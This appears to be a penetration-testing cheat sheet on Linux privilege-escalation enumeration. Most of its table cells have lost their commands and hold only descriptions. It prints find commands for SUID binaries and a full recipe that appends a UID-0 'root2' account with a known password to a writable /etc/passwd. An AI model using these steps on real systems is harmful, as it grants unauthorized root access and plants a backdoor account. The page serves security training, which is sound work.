Enumerating Attack Vectors
Helpful Tools
Processes and Jobs
Command | Description |
---|---|
| See processes running as root |
| View running processes with |
| Check for daily Cron jobs |
| Enumerate cron jobs |
| Look for active or queued print jobs to gain access to sensitive information |
Kernel and OS
Command | Description |
---|---|
| Check the hostname (useful to ensure the target is in scope) |
| Check the Kernel version |
| Check the Kernel version |
| Check the OS version |
| Check the OS version |
| May contain information about the system version and release |
| Gather additional information about the host |
| Check sudo version |
User-Related
Command | Description |
---|---|
| Check the current user's PATH variable contents |
| See logged in users |
| Check the current user's Bash history |
| Check what user we are running as |
| Check what groups we belong to |
| Can the user run anything as another user? |
Network Related
Command | Description |
---|---|
| Check network interfaces |
| Check network interfaces |
| Display all IP addresses related to the host |
| Check for potential interesting hosts |
| Check out the routing table to see what other networks are available via which interface |
| Check out the routing table to see what other networks are available via which interface |
| Check the arp table to see what other hosts the target has been communicating with |
| Check if the host is configured to use internal DNS β Starting point to query the Active Directory environment |
| Check listening services on both TCP and UDP ports |
| Check listening services on both TCP and UDP ports |
| Display active connections and listening ports |
Finding Interesting Files and Directories
Command | Description |
---|---|
| Find all accessible history files |
| Find world-writeable directories |
| Find all hidden directories |
| Find all hidden files |
| Find world-writeable files |
| Find binaries with SUID bit set |
| Find binaries with SGID bit set |
| Enumerate binary files capabilities |
| Search config files |
| Search config files |
| Find |
| Resursively inspect file contents to find instances of "word": |
| Find temporary files |
Enumerating SUID binaries
SUID is a special file permission for executable files which enables other users to run the file with effective permissions of the file owner. Instead of the normal x
which represents execute permissions, you will see an s
(to indicate SUID) special permission for the user.
Obviously, for a quick win, you want to find SUID binaries having the root
user as the file's owner.
HackTricks has a page where more info about this topic is explained.
You can find
SUID binaries in many ways, the following are some example commands:
find / -perm -4000 2>/dev/null
find / -perm /4000 2>/dev/null
find / -perm /u+s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
Other Tricks - Miscellaneous
This section contains some specific things which could help you find unusual vectors to escalate your privileges.
Writeable passwd file
Always check whether you have write permissions into the /etc/passwd
file.
If that's the case, you can effectively set an arbitrary password for any account.
To check, use ls -la /etc/passwd
Supposing you have write permissions, you can generate a password hash
and use it to log as root
as follows:
Generate the password hash:
openssl passwd w00t output: Fdzt.eqJQ4s0g
Append the password hash inside the passwd file:
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
Now you can login as root using
su root2
and insertingw00t
as the user's password
Last updated